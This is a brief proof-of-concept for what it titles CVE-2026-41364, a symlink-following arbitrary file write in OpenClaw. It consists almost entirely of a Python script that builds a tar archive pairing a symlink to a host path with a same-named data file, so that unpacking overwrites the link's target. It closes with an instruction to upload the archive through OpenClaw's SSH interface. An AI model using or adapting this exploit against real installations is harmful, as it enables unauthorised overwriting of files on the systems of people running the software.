CVE-2026-41364 OpenClaw符号链接跟随致任意文件写入

import os import tarfile # Create a directory for the exploit files os.makedirs('exploit', exist_ok=True) # 1. Create a symlink pointing to a sensitive file on the host (e.g., /tmp/pwned) symlink_path = 'exploit/link' host_path = '/tmp/pwned' os.symlink(host_path, symlink_path) # 2. Create a file with malicious content data_path = 'exploit/data.txt' with open(data_path, 'w') as f: f.write('This file was written via symlink following vulnerability.') # 3. Create a tar archive with tarfile.open('exploit.tar', 'w') as tar: # Add symlink first tar.add(symlink_path, arcname='link') # Add data file with the same name as the symlink (to overwrite the target) # Note: The exploit usually relies on the order or specific unpacking behavior tar.add(data_path, arcname='link') print('Exploit tar file created: exploit.tar') # Upload this 'exploit.tar' via the OpenClaw SSH interface.